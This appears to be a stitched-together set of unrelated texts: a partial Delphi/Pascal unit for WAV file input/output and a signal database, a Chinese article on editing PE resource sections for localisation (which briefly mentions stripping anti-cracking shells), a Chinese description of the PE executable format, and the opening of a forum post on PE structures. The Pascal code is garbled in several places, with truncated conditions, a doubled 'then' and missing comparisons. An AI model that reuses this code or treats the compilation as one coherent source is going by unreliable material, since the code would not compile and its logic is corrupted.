Last : SampleIndex;{Last valid index to y

yy}

MinO, MaxO : Real; {Range values from yyy

}

end;

var K0R, K1R, K2R, K3R : Observation;

K0B, K1B, K2B, K3B : Observation;

{================== File Name Variables ===================}

var StandardDatabase : String[ 80 ];

BaseFileName : String[ 80 ];

StandardOutput : String[ 80 ];

StandardInput : String[ 80 ];

{=============== Operations ==================}

procedure ReadWAVFile (var Ki, Kj : Observation);

procedure WriteWAVFile(var Ki, Kj : Observation);

procedure ScaleData (var Kk : Observation);

procedure InitAllSignals;

procedure InitLinearSystem;

implementation

{$R *.DFM}

uses VarGraph, SysUtils;

{================== Standard WAV File Format ===================}

const MaxDataSize : LongInt = (MaxN+1)*2*2;

const MaxRIFFSize : LongInt = (MaxN+1)*2*2+36;

const StandardWAV : WAVHeader = (

nChannels : Word(2);

nBitsPerSample : LongInt(16);

nSamplesPerSec : LongInt(8000);

nAvgBytesPerSec : LongInt(32000);

RIFFSize : LongInt((MaxN+1)*2*2+36);

fmtSize : LongInt(16);

formatTag : Word(1);

nBlockAlign : LongInt(4);

DataSize : LongInt((MaxN+1)*2*2)

);

{================== Scale Observation Data ===================}

procedure ScaleData(var Kk : Observation);

var I : SampleIndex;

begin

{Initialize the scale values}

Kk.MaxO := Kk.yyy[0];

Kk.MinO := Kk.yyy[0];

{Then scan for any higher or lower values}

for I := 1 to Kk.Last do

begin

if Kk.MaxO < Kk.yyy[I] then Kk.MaxO := Kk.yyy[I];

if Kk.MinO > Kk.yyy[I] then Kk.MinO := Kk.yyy[I];

end;

end; { ScaleData }

procedure ScaleAllData;

begin

ScaleData(K0R);

ScaleData(K0B);

ScaleData(K1R);

ScaleData(K1B);

ScaleData(K2R);

ScaleData(K2B);

ScaleData(K3R);

ScaleData(K3B);

end; {ScaleAllData}

{================== WAV Data I/O ===================}

VAR InFile, OutFile : file of Byte;

type Tag = (F0, T1, M1);

type FudgeNum = record

case X:Tag of

F0 : (chrs : array[0..3] of Byte);

T1 : (lint : LongInt);

M1 : (up,dn: Integer);

end;

var ChunkSize : FudgeNum;

procedure WriteChunkName(Name:String);

var i : Integer;

MM : Byte;

begin

for i := 1 to 4 do

begin

MM := ord(Name[i]);

write(OutFile,MM);

end;

end; {WriteChunkName}

procedure WriteChunkSize(LL:Longint);

var I : integer;

begin

ChunkSize.x:=T1;

ChunkSize.lint:=LL;

ChunkSize.x:=F0;

for I := 0 to 3 do Write(OutFile,ChunkSize.chrs[I]);

end;

procedure WriteChunkWord(WW:Word);

var I : integer;

begin

ChunkSize.x:=T1;

ChunkSize.up:=WW;

ChunkSize.x:=M1;

for I := 0 to 1 do Write(OutFile,ChunkSize.chrs[I]);

end; {WriteChunkWord}

procedure WriteOneDataBlock(var Ki, Kj : Observation);

var I : Integer;

begin

ChunkSize.x:=M1;

with Ki.WAV do

begin

case nChannels of

1:if nBitsPerSample=16

then begin {1..2 16-bit samples in buffer for one channel}

ChunkSize.up := trunc(Ki.yyy[N]+0.5);

if N .5);

N := N+2;

end

else begin {1..4 8-bit samples in buffer for one channel}

for I:=0 to 3 do ChunkSize.chrs[I]

:= trunc(Ki.yyy[N+I]+0.5);

N := N+4;

end;

2:if nBitsPerSample=16

then begin {2 16-bit samples on two channels}

ChunkSize.dn := trunc(Ki.yyy[N]+0.5);

ChunkSize.up := trunc(Kj.yyy[N]+0.5);

N := N+1;

end

else begin {4 8-bit samples on two channels}

ChunkSize.chrs[1] := trunc(Ki.yyy[N]+0.5);

ChunkSize.chrs[3] := trunc(Ki.yyy[N+1]+0.5);

ChunkSize.chrs[0] := trunc(Kj.yyy[N]+0.5);

ChunkSize.chrs[2] := trunc(Kj.yyy[N+1]+0.5);

N := N+2;

end;

end; {with WAV do begin..}

end; {the four-byte variable "ChunkSize" has now been filled}

ChunkSize.x:=T1;

WriteChunkSize(ChunkSize.lint);{put 4 bytes of data}

end; {WriteOneDataBlock}

procedure WriteWAVFile(var Ki, Kj : Observation);

var MM : Byte;

I : Integer;

OK : Boolean;

begin

{Prepare to write a file of data}

AssignFile(OutFile, StandardOutput); { File selected in dialog }

ReWrite( OutFile );

With Ki.WAV do

begin DataSize := nChannels*(nBitsPerSample div 8)*(Ki.Last+1);

RIFFSize := DataSize+36;

fmtSize := 16;

end;

{Write ChunkName "RIFF"}

WriteChunkName('RIFF');

{Write ChunkSize}

WriteChunkSize(Ki.WAV.RIFFSize);

{Write ChunkName "WAVE"}

WriteChunkName('WAVE');

{Write tag "fmt_"}

WriteChunkName('fmt ');

{Write ChunkSize}

Ki.WAV.fmtSize := 16; {should be 16-18}

WriteChunkSize(Ki.WAV.fmtSize);

{Write formatTag, nChannels}

WriteChunkWord(Ki.WAV.formatTag);

WriteChunkWord(Ki.WAV.nChannels);

{Write nSamplesPerSec}

WriteChunkSize(Ki.WAV.nSamplesPerSec);

{Write nAvgBytesPerSec}

WriteChunkSize(Ki.WAV.nAvgBytesPerSec);

{Write nBlockAlign, nBitsPerSample}

WriteChunkWord(Ki.WAV.nBlockAlign);

WriteChunkWord(Ki.WAV.nBitsPerSample);

{WriteDataBlock tag "data"}

WriteChunkName('data');

{Write DataSize}

WriteChunkSize(Ki.WAV.DataSize);

N:=0; {first write-out location}

while N<=Ki.Last do WriteOneDataBlock(Ki,Kj); {put 4 bytes & incr

ement N}

{Free the file buffers}

CloseFile( OutFile );

end; {WriteWAVFile}

procedure InitSpecs;

begin

end; { InitSpecs }

procedure InitSignals(var Kk : Observation);

var J : Integer;

begin

for J := 0 to MaxN do Kk.yyy[J] := 0.0;

Kk.MinO := 0.0;

Kk.MaxO := 0.0;

Kk.Last := MaxN;

end; {InitSignals}

procedure InitAllSignals;

begin

InitSignals(K0R);

InitSignals(K0B);

InitSignals(K1R);

InitSignals(K1B);

InitSignals(K2R);

InitSignals(K2B);

InitSignals(K3R);

InitSignals(K3B);

end; {InitAllSignals}

var ChunkName : string[4];

procedure ReadChunkName;

var I : integer;

MM : Byte;

begin

ChunkName[0]:=chr(4);

for I := 1 to 4 do

begin

Read(InFile,MM);

ChunkName[I]:=chr(MM);

end;

end; {ReadChunkName}

procedure ReadChunkSize;

var I : integer;

MM : Byte;

begin

ChunkSize.x := F0;

ChunkSize.lint := 0;

for I := 0 to 3 do

begin

Read(InFile,MM);

ChunkSize.chrs[I]:=MM;

end;

ChunkSize.x := T1;

end; {ReadChunkSize}

procedure ReadOneDataBlock(var Ki,Kj:Observation);

var I : Integer;

begin

if N<=MaxN then

begin

ReadChunkSize; {get 4 bytes of data}

ChunkSize.x:=M1;

with Ki.WAV do

case nChannels of

1:if nBitsPerSample=16

then begin {1..2 16-bit samples in buffer for one channel}

Ki.yyy[N] :=1.0*ChunkSize.up;

if N N := N+2;

end

else begin {1..4 8-bit samples in buffer for one channel}

for I:=0 to 3 do Ki.yyy[N+I]:=1.0*ChunkSize.chrs[I

];

N := N+4;

end;

2:if nBitsPerSample=16

then begin {2 16-bit samples on two channels}

Ki.yyy[N]:=1.0*ChunkSize.dn;

Kj.yyy[N]:=1.0*ChunkSize.up;

N := N+1;

end

else begin {4 8-bit samples on two channels}

Ki.yyy[N] :=1.0*ChunkSize.chrs[1];

Ki.yyy[N+1]:=1.0*ChunkSize.chrs[3];

Kj.yyy[N] :=1.0*ChunkSize.chrs[0];

Kj.yyy[N+1]:=1.0*ChunkSize.chrs[2];

N := N+2;

end;

end;

if N<=MaxN then begin {LastN := N;}

Ki.Last := N;

if Ki.WAV.nChannels=2 then Kj.Last := N;

end

else begin {LastN := MaxN;}

Ki.Last := MaxN;

if Ki.WAV.nChannels=2 then Kj.Last := MaxN

;

end;

end;

end; {ReadOneDataBlock}

procedure ReadWAVFile(var Ki, Kj :Observation);

var MM : Byte;

I : Integer;

OK : Boolean;

NoDataYet : Boolean;

DataYet : Boolean;

nDataBytes : LongInt;

begin

if FileExists(StandardInput)

then

with Ki.WAV do

begin { Bring up open file dialog }

OK := True; {unless changed somewhere below}

{Prepare to read a file of data}

AssignFile(InFile, StandardInput); { File selected in dialog }

Reset( InFile );

{Read ChunkName "RIFF"}

ReadChunkName;

if ChunkName<>'RIFF' then OK := False;

{Read ChunkSize}

ReadChunkSize;

RIFFSize := ChunkSize.lint; {should be 18,678}

{Read ChunkName "WAVE"}

ReadChunkName;

if ChunkName<>'WAVE' then OK := False;

{Read ChunkName "fmt_"}

ReadChunkName;

if ChunkName<>'fmt ' then OK := False;

{Read ChunkSize}

ReadChunkSize;

fmtSize := ChunkSize.lint; {should be 18}

{Read formatTag, nChannels}

ReadChunkSize;

ChunkSize.x := M1;

formatTag := ChunkSize.up;

nChannels := ChunkSize.dn;

{Read nSamplesPerSec}

ReadChunkSize;

nSamplesPerSec := ChunkSize.lint;

{Read nAvgBytesPerSec}

ReadChunkSize;

nAvgBytesPerSec := ChunkSize.lint;

{Read nBlockAlign}

ChunkSize.x := F0;

ChunkSize.lint := 0;

for I := 0 to 3 do

begin Read(InFile,MM);

ChunkSize.chrs[I]:=MM;

end;

ChunkSize.x := M1;

nBlockAlign := ChunkSize.up;

{Read nBitsPerSample}

nBitsPerSample := ChunkSize.dn;

for I := 17 to fmtSize do Read(InFile,MM);

NoDataYet := True;

while NoDataYet do

begin

begin

{Read tag "data"}

ReadChunkName;

{Read DataSize}

ReadChunkSize;

DataSize := ChunkSize.lint;

if ChunkName<>'data' then

begin

for I := 1 to DataSize do {skip over any nondata stuff}

Read(InFile,MM);

end

else NoDataYet := False;

end;

nDataBytes := DataSize;

{Finally, start reading data for nDataBytes bytes}

if nDataBytes>0 then DataYet := True;

N:=0; {first read-in location}

while DataYet do

begin

ReadOneDataBlock(Ki,Kj); {get 4 bytes}

nDataBytes := nDataBytes-4;

if nDataBytes<=4 then DataYet := False;

end;

ScaleData(Ki);

if Ki.WAV.nChannels=2

then begin Kj.WAV := Ki.WAV;

ScaleData(Kj);

end;

{Free the file buffers}

CloseFile( InFile );

end

else begin

InitSpecs;{file does not exist}

InitSignals(Ki);{zero "Ki" array}

InitSignals(Kj);{zero "Kj" array}

end;

end; { ReadWAVFile }

{================= Database Operations ====================}

const MaxNumberOfDataBaseItems = 360;

type SignalDirectoryIndex = 0 .. MaxNumberOfDataBaseItems;

VAR DataBaseFile : file of Observation;

LastDataBaseItem : LongInt; {Current number of database items}

ItemNameS : array[SignalDirectoryIndex] of String[40];

procedure GetDatabaseItem( Kk : Observation; N : LongInt );

begin

if N<=LastDataBaseItem

then begin

Seek(DataBaseFile, N);

Read(DataBaseFile, Kk);

end

else InitSignals(Kk);

end; {GetDatabaseItem}

procedure PutDatabaseItem( Kk : Observation; N : LongInt );

begin

if N then

then

if N<=LastDataBaseItem

then begin

Seek(DataBaseFile, N);

Write(DataBaseFile, Kk);

LastDataBaseItem := LastDataBaseItem+1;

end

else while LastDataBaseItem<=N do

begin

Seek(DataBaseFile, LastDataBaseItem);

Write(DataBaseFile, Kk);

LastDataBaseItem := LastDataBaseItem+1;

end

else ReportError(1); {Attempt to read beyond MaxNumberOfDataBaseItems

}

end; {PutDatabaseItem}

procedure InitDataBase;

begin

LastDataBaseItem := 0;

if FileExists(StandardDataBase)

then

begin

begin

Assign(DataBaseFile,StandardDataBase);

Reset(DataBaseFile);

while not EOF(DataBaseFile) do

begin

GetDataBaseItem(K0R, LastDataBaseItem);

ItemNameS[LastDataBaseItem] := K0R.Name;

LastDataBaseItem := LastDataBaseItem+1;

end;

if EOF(DataBaseFile)

then if LastDataBaseItem>0

then LastDataBaseItem := LastDataBaseItem-1;

end;

end; {InitDataBase}

function FindDataBaseName( Nstg : String ):LongInt;

var ThisOne : LongInt;

begin

ThisOne := 0;

FindDataBaseName := -1;

while ThisOne begin

if Nstg=ItemNameS[ThisOne]

then begin

FindDataBaseName := ThisOne;

Exit;

end;

ThisOne := ThisOne+1;

end;

end; {FindDataBaseName}

{======================= Init Unit ========================}

procedure InitLinearSystem;

begin

BaseFileName := '\PROGRA~1\SIGNAL~1\';

StandardOutput := BaseFileName + 'K0.wav';

StandardInput := BaseFileName + 'K0.wav';

StandardDataBase := BaseFileName + 'Radar.sdb';

InitAllSignals;

InitDataBase;

ReadWAVFile(K0R,K0B);

ScaleAllData;

end; {InitLinearSystem}

begin {unit initialization code}

InitLinearSystem;

end. {Unit LinearSystem}


關於 Resource

一般中文化之時，最常應用的方法，無非編輯 Resource 了，當 Resource 無法編輯時，不是得被迫採用 ASCII 碼編輯，就是得放棄。故好好認識 Resource ，就相形重要了。

在此並不打算將 Resource 整個肢解，因為事實上那並不需要，市面上有很多編修 Resource 的工具可用，所以並不用去瞭解整個結構，也能夠編修它，所必須知道是些相關的知識，以便在必要時能夠修正它。

首先您要認識的是，Resource 在程式中記錄的位置，它記錄在 PE 檔的 Optional Header 中的 Resource Table 。這裡記錄了資源表的位址和大小。而這邊記錄的位址，是載入記憶體中的位址偏移值，實際在檔案中的位置，則記錄於區段表中。一旦這兩項資料不正確，您就不能編修它了。

什麼情況下資料會不正確，一是您用的工具弄壞了，另一個常見的原因則是，程式本身有些特殊的處理。像是許多程式本身經過壓縮處理，在執行時才將本身程式及資料解壓縮，如此記錄位址中指向的資料，早已面目全非，自然是不能編輯了。這種情形之下，除了將這層壓縮的動作剝除之外，就別無它法了。這個剝除動作，一般稱之為剝殼，除了壓縮的殼之外，更常見的是含有防止破解作用的。

在澤地萃中，有常用的剝殼工具，可以解較常見的殼，您可以參考看看。

另一個常見無法編輯 Resource 的原因，則是程式根本不使用 Resource ，這類程式通常在 Resource 中，就祇有 Icon 和 Version 兩項而已。這時祇好考慮使用別的方式來中文化它，或是根本放棄了。

部份壓縮過的執行檔，Resource 記錄中也是祇有 Icon 及 Version ，而不是保留了一堆已不正確的項目，如何將之與不使用 Resource 者分辨呢？除了部份常見的壓縮格式，會在 Section name 留下記號之外，較可靠的方式，則是在檔案中搜尋您要翻譯的字串 ( 例如功能表項目 )，ASCII 及 Unicode 兩種字串都要搜尋，當都找不到時，則應該是壓縮過的了。

部份的 Resource 編修工具，使用 Section name 來解讀 Resource，編修工具會尋找 ".rsrc" 的 Section name，一旦找不到時將無法編修，Section 名稱錯了，其實並不影響程式執行，因為 Loader 並不管它叫什麼名稱，祇要能載到正確位址，自然能從 Optional Header 中找到所需的資料。( 所以有部份 Resource 編輯工具還是能編輯它 )

所以要想讓不能編修的工具，也能編輯被改了區段名稱的程式，將名稱改回 ".rsrc" 即可。但要如何知道是那個 Section 呢？一個最簡單的方法，自然是從 Optional Header 中記錄的 Resource Table 來比對了，它們是對應的。

如果您找不到與 Resource Table 位址對應的區段，則表示資源區段已和其它資料混合在一起了。通常這種情形下，資源的資料已不可再重定位，也就是您不能再使用資源編輯的方式編輯它，不然可能會造成檔案的毀損。

有時即使資源合乎常規的一個區段，您也能正常編輯它，但存檔後檔案卻會毀損，則是有某些不可重定位的項目，位於 Resource Table 起點之後。除非使用特殊的方式，先修正這個問題，不然您編輯時就不能更動資源的大小，否則檔案當然會損毀的。

Resource 的種類扣除自定的類型，標準的類型倒是不多，中文化時會動用到的則更少。除了將字串換掉，編輯對話框，您還可以換掉程式的圖示，及程式的版本說明資訊。某些時候，還可以換掉程式中使用的大部份圖形。這些祇要程式使用標準的資源類型，都可以輕易辦到。

標準資源的匯出及修改當然不會有什麼問題，像圖示及點陣圖，都有很多現成可用的工具。但部份工具，在匯出非標準資源時，通常採用資源檔格式 (.res)，在編修時較為麻煩，因為您還得考慮資源檔格式的正確性。如果您用的工具支援二進位格式的話，就採用二進位格式吧！那樣可以少掉很多的麻煩。


PE 文件格式 [ 2 ]

PE 文件格式

对 PE 的一些说明（猛禽）： PE 是 Portable Excutable 的缩写，是指“可移植可执行”文件，是 32 位 Windows （包括 OS/2 ）可执行文件的标准格式。以前的 16 位 Windows 可执行文件的格式称为 NE ，即 New Excutable “新可执行”文件。参考： NE 文件格式

一、简介

PE文件最前面是一个DOS可执行文件（STUB），这使PE文件成为一个合法的MS-DOS可执行

文件。

DOS文件头后面是一个32位的PE文件标志0X00004550（IMAGE_NT_SIGNATURE）。

接着就是PE的文件头了，包含的信息有该程序运行平台、有多少段（sections）、文件

链接的时间、它是一个可执行文件（EXE）还是一个动态链接库（DLL）或是其他。

后面紧接着有一个“可选”头部（这个部分总是存在，但是因为COFF在库（Libraries）

中用了这个词，在一可执行模块中并没有用这个词，但是仍被叫做可选的）。这可部分包含程

序加载的更多的信息：开始地址、保留堆栈数量、数据段大小等等。

可选头中还有一个重要的域是一叫做“数据目录表”（data directories）的数组；表

中的每一项是一个指向某一个段的指针。例如：如果某程序有一个输出目录表（export dire

ctory ），那你就会在数据目录表中找到一个为IMAGE_DIRECTORY_ENTRY_EXPORT的指针，并且

它将指向某一个段。

可选头的下面就是“段”（sections）了，通过一个叫做“段头”（section headers）

的结构索引。实际上，段的内容才是你要真正执行的程序，上面介绍的所有的文件头及目录表

等信息就是为了能正确的找到它。

每一个段都有一些有关的标志，例如它包含什么数据（“初始化数据”或其他），它能

否被共享等，及它数据本身的特征。大多数情况下（并不是全部），每个段会被一个或多个目

录表指向，目录表可通过可选头的“数据目录表”的入口找到，就象输出函数表或基址重定位

表。也有没有目录表指向的段，如可执行代码或初始化数据。

整个文件结构如下：

+-------------------+

| DOS-stub |

+-------------------+

| file-header |

+-------------------+

| optional header |

|- - - - - - - - - -|

| |

| data directories |

| |

+-------------------+

| |

| section headers |

| |

+-------------------+

| |

| section 1 |

| |

+-------------------+

| |

| section 2 |

| |

+-------------------+

| |

| ... |

| |

+-------------------+

| |

| section n |

| |

+-------------------+

下面介绍一下相关虚拟地址（Relative Virtual Addresses）

PE格式文件中经常用到RVA，即相关虚拟地址，用在不知道基地址的情况下表示一个内存

地址。它需要加上基地址才能得到线性地址（Linear address）。

例如：假设一个可执行程序调入内存0x400000处并且程序从RVA 0x1560处开始执行。那

么正确的开始地址是0x401560。如果可执行程序调入0x100000处，则开始地址为0x101560。

因为PE文件的每一个段不必按同样的边界对齐方式调入，因此RVA地址的计算变得比较复

杂。例如，在文件中每一个段往往按512个字节的方式对齐，而在内存中可能以4096字节的方

式对齐。这方面的介绍可见下面的“SectionAlignment”、“FileAlignment”。举个例子，

假设你知道一个程序从RVA 0x1560开始执行，你想从那儿反汇编它。你发现内存中的段对齐方

式为4096并且.code段开始于内存RVA 0x1560并且有16384字节长；那么你可以知道RVA 0x156

0在这个段的0x560处。你又发现这个段在文件中以512字节方式对齐并且.code开始于文件0x8

00处，那现在你知道了可执行程序开始于0x800+0x560 = 0xd60处。

二、DOS头（DOS-stub ）

众所周知DOS头的概念是从16位的WINDOWS可执行程序（NE格式）中来的，这个部分主要

用在OS/2可执行程序、自解压文档及其他应用程序。在PE格式文件中，大多数程序的这个部分

中只有大约100个字节的代码，只输出一个诸如“this program needs windows NT ”之类的

信息。

你可以通过一个叫做IMAGE_DOS_HEADER的结构来识别一个合法的DOS头。这个结构的头两

个字节一定是“MZ”（#define IMAGE_DOS_SIGNATURE "MZ"）。怎么才能找到PE开始的标志呢

？你可以通过该结构的一个叫做“e_lfanew”（offset 60，32bits） 的成员来找到它。在O

S/2及16位WINDOWS程序中这个标志是一个16位的字；在PE程序中，它是一个32位的双字，值为

0x00004550（#define IMAGE_NT_SIGNATURE 0x00004550）。

typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header

WORD e_magic; // Magic number

WORD e_cblp; // Bytes on last page of file

WORD e_cp; // Pages in file

WORD e_crlc; // Relocations

WORD e_cparhdr; // Size of header in paragraphs

WORD e_minalloc; // Minimum extra paragraphs needed

WORD e_maxalloc; // Maximum extra paragraphs needed

WORD e_ss; // Initial (relative) SS value

WORD e_sp; // Initial SP value

WORD e_csum; // Checksum

WORD e_ip; // Initial IP value

WORD e_cs; // Initial (relative) CS value

WORD e_lfarlc; // File address of relocation table

WORD e_ovno; // Overlay number

WORD e_res[4]; // Reserved words

WORD e_oemid; // OEM identifier (for e_oeminfo)

WORD e_oeminfo; // OEM information; e_oemid specific

WORD e_res2[10]; // Reserved words

LONG e_lfanew; // File address of new exe header

} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

三、文件头（File Header）

通过DOS头，你可以找到一个叫做IMAGE_FILE_HEADER的结构，如下；下面我分别介绍一

下。

typedef struct _IMAGE_FILE_HEADER {

WORD Machine; //0x04

WORD NumberOfSections; //0x06

DWORD TimeDateStamp; //0x08

DWORD PointerToSymbolTable; //0x0c

DWORD NumberOfSymbols; //0x10

WORD SizeOfOptionalHeader; //0x14

WORD Characteristics; //0x16

} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

Machine：表示该程序要执行的环境及平台，现在已知的值如下：

IMAGE_FILE_MACHINE_I386（0x14c）

Intel 80386 处理器以上

0x014d

Intel 80486 处理器以上

0x014e

Intel Pentium 处理器以上

0x0160

R3000(MIPS)处理器，高位在前

IMAGE_FILE_MACHINE_R3000(0x162)

R3000(MIPS)处理器，低位在前

IMAGE_FILE_MACHINE_R4000(0x166)

R4000(MIPS)处理器，低位在前

IMAGE_FILE_MACHINE_R10000(0x168)

R10000(MIPS)处理器，低位在前

IMAGE_FILE_MACHINE_ALPHA(0x184)

DEC Alpha AXP处理器

IMAGE_FILE_MACHINE_POWERPC(0x1f0)

IBM Power PC，低位在前

NumberOfSections：段的个数，段的概念我们将在下面介绍。

TimeDateStamp：文件建立的时间。你可用这个值来区分同一个文件的不同的版本，即使

它们的商业版本号相同。这个值的格式并没有明确的规定，但是很显然的大多数的C编译器都

把它定为从1970.1.1 00:00:00以来的秒数（time_t ）。这个值有时也被用做绑定输入目录表

，这将在下面介绍。

注意：一些编译器将忽略这个值。

PointerToSymbolTable 及 NumberOfSymbols：用在调试信息中，我不太清楚它们的用途

，不过发现它们总为0。

SizeOfOptionalHeader：可选头的长度（sizeof IMAGE_OPTIONAL_HEADER）你可以用它

来检验PE文件的正确性。

Characteristics：是一个标志的集合，其中大部分的位用在目标文件（OBJ）或库文件

（LIB）中：

Bit 0 (IMAGE_FILE_RELOCS_STRIPPED)：置1表示文件中没有重定向信息。每个段都

有它们自己的重定向信息。这个标志在可执行文件中没有使用，在可执行文件中是用一个叫做

基址重定向目录表来表示重定向信息的，这将在下面介绍。

Bit 1 (IMAGE_FILE_EXECUTABLE_IMAGE)：置1表示该文件是可执行文件（也就是说

不是一个目标文件或库文件）。

Bit 2 (IMAGE_FILE_LINE_NUMS_STRIPPED)：置1表示没有行数信息；在可执行文件

中没有使用。

Bit 3 (IMAGE_FILE_LOCAL_SYMS_STRIPPED)：置1表示没有局部符号信息；在可执行

文件中没有使用。

Bit 4 (IMAGE_FILE_AGGRESIVE_WS_TRIM)：

Bit 7 (IMAGE_FILE_BYTES_REVERSED_LO)

Bit 15 (IMAGE_FILE_BYTES_REVERSED_HI)：表示文件的字节顺序如果不是机器所期

望的，那么在读出之前要进行交换。在可执行文件中它们是不可信的（操作系统期望按正确的

字节顺序执行程序）。

Bit 8 (IMAGE_FILE_32BIT_MACHINE)：表示希望机器为32位机。这个值永远为1。

Bit 9 (IMAGE_FILE_DEBUG_STRIPPED)：表示没有调试信息，在可执行文件中没有使

用。

Bit 10 (IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP)：置1表示该程序不能运行于可移

动介质中（如软驱或CD-ROM）。在这种情况下，OS必须把文件拷贝到交换文件中执行。

Bit 11 (IMAGE_FILE_NET_RUN_FROM_SWAP)：置1表示程序不能在网上运行。在这种

情况下，OS必须把文件拷贝到交换文件中执行。

Bit 12 (IMAGE_FILE_SYSTEM)：置1表示文件是一个系统文件例如驱动程序。在可执

行文件中没有使用。

Bit 13 (IMAGE_FILE_DLL)：置1表示文件是一个动态链接库（DLL）。

Bit 14 (IMAGE_FILE_UP_SYSTEM_ONLY)：表示文件被设计成不能运行于多处理器系

统中。

四、可选头（Optional Header）

文件头下面就是可选头，这是一个叫做IMAGE_OPTIONAL_HEADER的结构。它包含很多关于

PE文件定位的信息。下面分别介绍：

typedef struct _IMAGE_OPTIONAL_HEADER {

//

// Standard fields.

//

WORD Magic; //0x18

BYTE MajorLinkerVersion; //0x1a

BYTE MinorLinkerVersion; //0x1b

DWORD SizeOfCode; //0x1c

DWORD SizeOfInitializedData; //0x20

DWORD SizeOfUninitializedData; //0x24

DWORD AddressOfEntryPoint; //0x28

DWORD BaseOfCode; //0x2c

DWORD BaseOfData; //0x30

//

// NT additional fields.

//

DWORD ImageBase; //0x34

DWORD SectionAlignment; //0x38

DWORD FileAlignment; //0x3c

WORD MajorOperatingSystemVersion; //0x3e

WORD MinorOperatingSystemVersion; //0x40

WORD MajorImageVersion; //0x42

WORD MinorImageVersion; //0x44

WORD MajorSubsystemVersion; //0x46

WORD MinorSubsystemVersion; //0x48

DWORD Win32VersionValue; //0x4c

DWORD SizeOfImage; //0x50

DWORD SizeOfHeaders; //0x54

DWORD CheckSum; //0x58

WORD Subsystem; //0x5c

WORD DllCharacteristics; //0x5e

DWORD SizeOfStackReserve; //0x60

DWORD SizeOfStackCommit; //0x64

DWORD SizeOfHeapReserve; //0x68

DWORD SizeOfHeapCommit; //0x6c

DWORD LoaderFlags; //0x70

DWORD NumberOfRvaAndSizes; //0x74

IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];

} IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER;

Magic：这个值好象总是0x010b。

MajorLinkerVersion及MinorLinkerVersion：链接器的版本号，这个值不太可靠。

SizeOfCode：可执行代码的长度。

SizeOfInitializedData：初始化数据的长度（数据段）。

SizeOfUninitializedData：未初始化数据的长度（bss段）。

AddressOfEntryPoint：代码的入口RVA地址，程序从这儿开始执行。

BaseOfCode：可执行代码起始位置，意义不大。

BaseOfData：初始化数据起始位置，意义不大。

ImageBase：载入程序首选的RVA地址。这个在址可被Loader改变。

SectionAlignment：段加载后在内存中的对齐方式。

FileAlignment：段在文件中的对齐方式。

MajorOperatingSystemVersion及MinorOperatingSystemVersion：操作系统版本，Load

er并没有用它。

MajorImageVersion及MinorImageVersion：程序版本。

MajorSubsystemVersion及MinorSubsystemVersion：子系统版本号，这个域系统支持；

例如：如果程序运行于NT下，子系统版本号如果不是4.0的话，对话框不能显示3D风格。

Win32VersionValue：这个值好象总是为0。

SizeOfImage：程序调入后占用内存大小（字节），等于所有段的长度之和。

SizeOfHeaders：所有文件头的长度之和，它等于从文件开始到第一个段的原始数据之间

的大小。

CheckSum：校验和。它仅用在驱动程序中，在可执行文件中可能为0。它的计算方法Mic

rosoft不公开，在imagehelp.dll中的CheckSumMappedFile()函数可以计算它。

Subsystem：NT子系统，可能是以下的值：

IMAGE_SUBSYSTEM_NATIVE (1)

不需要子系统。用在驱动程序中。

IMAGE_SUBSYSTEM_WINDOWS_GUI(2)

WIN32 graphical程序（它可用AllocConsole()来打开一个控制台，但是不能在

一开始自动得到）。

IMAGE_SUBSYSTEM_WINDOWS_CUI(3)

WIN32 console程序（它可以一开始自动建立）。

IMAGE_SUBSYSTEM_OS2_CUI(5)

OS/2 console程序（因为程序是OS/2格式，所以它很少用在PE）。

IMAGE_SUBSYSTEM_POSIX_CUI(7)

POSIX console程序。

Windows95程序总是用WIN32子系统，所以只有2和3是合法的值。

DllCharacteristics：Dll状态。

SizeOfStackReserve：保留堆栈大小。

SizeOfStackCommit：启动后实际申请的堆栈数，可随实际情况变大。

SizeOfHeapReserve：保留堆大小。

SizeOfHeapCommit：实际堆大小。

LoaderFlags：好象没有用。

NumberOfRvaAndSizes：下面的目录表入口个数，这个值也不可靠，你可用常数IMAGE_N

UMBEROF_DIRECTORY_ENTRIES来代替它，值好象总等于16。

DataDirectory：是一个IMAGE_DATA_DIRECTORY数组，数组元素个数为IMAGE_NUMBEROF_

DIRECTORY_ENTRIES，结构如下：

typedef struct _IMAGE_DATA_DIRECTORY {

DWORD VirtualAddress;

DWORD Size;

} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

VirtualAddress：起始RVA地址。

Size：长度。

每一个目录表代表以下的值：

IMAGE_DIRECTORY_ENTRY_EXPORT (0)

IMAGE_DIRECTORY_ENTRY_IMPORT (1)

IMAGE_DIRECTORY_ENTRY_RESOURCE (2)

IMAGE_DIRECTORY_ENTRY_EXCEPTION (3)

IMAGE_DIRECTORY_ENTRY_SECURITY (4)

IMAGE_DIRECTORY_ENTRY_BASERELOC (5)

IMAGE_DIRECTORY_ENTRY_DEBUG (6)

IMAGE_DIRECTORY_ENTRY_COPYRIGHT (7)

IMAGE_DIRECTORY_ENTRY_GLOBALPTR (8)

IMAGE_DIRECTORY_ENTRY_TLS (9)

IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG (10)

IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (11)

IMAGE_DIRECTORY_ENTRY_IAT (12)

后记（猛禽）：原文为新浪程序员论坛网友 野草 从英文版中译出，在此表示感谢。此文可能没有译完，据说 MSDN 中有此英文版。

[Mental Studio]Apr.26-2k


PE文件格式和数据结构

：mantousoft, 时间：2001-5-1 10:58:50, ID：517994

PE文件格式最近好像炒得沸沸扬扬，由于我正在做一个这样的程序，索性将自己的一点心得写出来与大家同享。

PE文件头分两大部分：

1：DOS ‘MZ’ HEADER

2：IMAGE_NT_HEADERS

其中IMAGE_NT_HEADERS中包含

PE signature

IMAGE_FILE_HEADER

IMAGE_OPTIONAL_HEADER（其中包含Data Direcotry）

文件头后紧跟着为

Section Table (array of IMAGE_SECTION_HEADERs)

在DELPHI的windows.pad中已经有定义的有：

TImageDosHeader;

TImageNtHeaders;

TImageSectionHeader; { size of TIm..der is $28 }

定义变量后按住Ctrl可以察看具体的项目，这里我就不多说了，这方面的东西也很多。

而其他的如TImageResourceDirectory等，在DELPHI中却没有定义，察看其他资料，我在这里给出他们的结构和简单说明：

